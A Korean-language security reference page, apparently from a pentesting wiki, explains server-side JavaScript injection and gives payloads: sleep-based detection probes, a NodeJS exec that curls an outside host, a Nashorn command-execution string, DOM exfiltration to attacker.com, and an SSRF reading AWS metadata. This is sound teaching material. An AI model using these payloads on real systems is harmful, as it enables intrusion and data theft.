Server-Side Javascript Injection

SSJI Attack

πŸ” Introduction

SSJI(Server Side Javascript Injection)λŠ” μ„œλ²„κ°€ 자체적으둜 Javascriptλ₯Ό μ²˜λ¦¬ν•˜λŠ” 엔진을 κ°€μ§€κ±°λ‚˜, λ°±μ—”λ“œμ—μ„œ Headless browser 등을 톡해 μ²˜λ¦¬ν•˜λŠ” 둜직이 μžˆλŠ” 경우 κ³΅κ²©μžκ°€ 이λ₯Ό μ œμ–΄ν•˜μ—¬ μ„œλ²„μ‚¬μ΄λ“œμ—μ„œ μ›ν•˜λŠ” Javascirptλ₯Ό μ‹€ν–‰ν•˜λ„λ‘ ν•˜λŠ” κ³΅κ²©μž…λ‹ˆλ‹€.

πŸ—‘ Offensive techniques

Detect

eval(), setTimeout(), setInterval() λ“±μ˜ JS ν•¨μˆ˜λ₯Ό ν¬ν•¨ν•œ μš”μ²­μ„ μ „λ‹¬ν•˜μ—¬ μ„œλ²„ μ‚¬μ΄λ“œμ—μ„œ 이λ₯Ό μ²˜λ¦¬ν•˜λŠ”μ§€ μ‹λ³„ν•˜λ©΄ λ©λ‹ˆλ‹€. κ°€μž₯ κ°„λ‹¨ν•œ λ°©λ²•μœΌλ‘  setTimeoutκ³Ό setInterval을 μ΄μš©ν•œ λ”œλ ˆμ΄ μ²΄ν¬μž…λ‹ˆλ‹€.

Request

GET /import?unloadcode=setTimeout(a%3d1,%205000) HTTP/1.1

Response

HTTP/1.1 200

// 단 delay time이 5초 정도 λ°œμƒν•œλ‹€λ©΄ λ°±μ—”λ“œμ—μ„œ μ²˜λ¦¬ν•  κ°€λŠ₯성이 λ†’μŒ

λŒ€ν‘œμ μœΌλ‘œ 많이 μ‚¬μš©λ˜λŠ” PayloadsλŠ” μ•„λž˜μ™€ κ°™μŠ΅λ‹ˆλ‹€.

1\';var d=new Date();do{var cd=new Date();}while(cd-d<1);var>
'a';sleep(1) and 'a';sleep(10000)
a;sleep(1) and a;sleep(10000)
sleep(1) and sleep(10000)
$where:"sleep(1)" and $where:"sleep(10000)"
%5b%5d=_security and %5b%5d=_all_docs
%5b%24eq%5d=1 and %5b%24ne%5d=1
';sleep(1);var xyz='0 and ';sleep(10000);var xyz='0

Exploitation

RCE (Remote Code Execution)

λ•Œλ•Œλ‘œ JavascriptλŠ” NodeJS, JVM(Java Virtual Machine) μœ„μ—μ„œ λ™μž‘ν•˜λŠ” Javascript 엔진인 Nashornμ΄λ‚˜ Graal λ“± μ„œλ²„ μ‚¬μ΄λ“œ λ§Žμ€ κΆŒν•œμ„ 가지고 λ™μž‘ν•˜κΈ°λ„ ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ 경우 SSJIκ°€ κ°€λŠ₯ν•  λ•Œ RCE λ“± 큰 리슀크의 이슈둜 연결될 수 μžˆμŠ΅λ‹ˆλ‹€.

NodeJS

require("child_process").exec('curl%20cxcjyaf5wahkidrp2zvhxe6ola.odiss.eu')

Nashron

${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("ifconfig")')}

Inforamtion Leakage

λ°±μ—”λ“œ Javascript κ°€ μ‚¬μš©ν•˜λŠ” DOMμ΄λ‚˜ Memory에 μžˆλŠ” 데이터듀은 μ„œλ²„μ˜ λ¦¬μ†ŒμŠ€μž…λ‹ˆλ‹€. 이λ₯Ό ν†΅ν•΄μ„œ DOM ꡬ쑰와 μ†ŒμŠ€μ½”λ“œλ₯Ό νƒμƒ‰ν•˜κ³  μ€‘μš”ν•œ 정보λ₯Ό νƒˆμ·¨ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

var data = document.documentElement.innerHTML;
document.write("<img src=https://attacker.com?q="+btoa(data))

SSRF

Javascriptκ°€ Server-sideμ—μ„œ λ™μž‘ν•˜κΈ° 떄문에 ACL을 λ„˜μ–΄ λ‚΄λΆ€λ§μ—μ„œμ˜ μ›Ή μš”μ²­μ΄ κ°€λŠ₯ν•΄μ§‘λ‹ˆλ‹€.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState === xhr.DONE) {
        if (xhr.status === 200 || xhr.status === 201) {
            document.write("<img src='"+btoa(xhr.responseText)+"'");
        } 
    }
};
xhr.open('GET', 'http://169.254.169.254/latest/meta-data/');
xhr.send();
// SSJIλ₯Ό ν†΅ν•œ AWS Metadata 정보 νƒˆμ·¨ SSRF
// μš΄μ’‹μœΌλ©΄ RCEκΉŒμ§€ κ°€κ² μ£ ?

이후 μ£Όμš” νŽ˜μ΄μ§€ μ ‘κ·Όμ΄λ‚˜ 우회 νŒ¨ν„΄μ€ SSRF와 λ™μΌν•˜λ‹ˆ μ°Έκ³ ν•΄μ£Όμ„Έμš”.

Other

이외 DOM Clobberingμ΄λ‚˜ Prototype Pollution λ“± JS 기반의 ν…Œν¬λ‹‰μ€ λͺ¨λ‘ λ™μΌν•˜κ²Œ μ‚¬μš©ν•  수 μžˆμ–΄ 영ν–₯λ ₯을 높일 수 μžˆμŠ΅λ‹ˆλ‹€.

πŸ›‘ Defensive techniques

μ„œλ²„λ‹¨μ—μ„œ λ™μž‘ν•˜λŠ” JavascriptλŠ” Ruby, Python λ“± μŠ€ν¬λ¦½νŠΈμ™€ λ™μΌν•œ κΆŒν•œμ΄λΌκ³  μƒκ°ν•˜λ©΄ μ’‹μŠ΅λ‹ˆλ‹€. 가급적 μ‚¬μš©μžμ—κ²Œμ„œ λΆ€ν„° μž…λ ₯ 값은 받지 μ•Šλ„λ‘ ν•˜κ³  ν˜Ήμ—¬λ‚˜ λ°›μ•„μ•Ό ν•œλ‹€λ©΄ μ˜λ„λœ μ•‘μ…˜ μ΄μ™Έμ—λŠ” μˆ˜ν–‰ν•  수 없도둝 μ •ν™•ν•˜κ²Œ 검증이 ν•„μš”ν•©λ‹ˆλ‹€.

πŸ“Œ References

  • https://www.hahwul.com/2019/05/01/jqeury-prototype-pollution-cve-2019-11358/
  • https://www.hahwul.com/cullinan/dom-clobbering/
  • https://www.hahwul.com/cullinan/ssrf/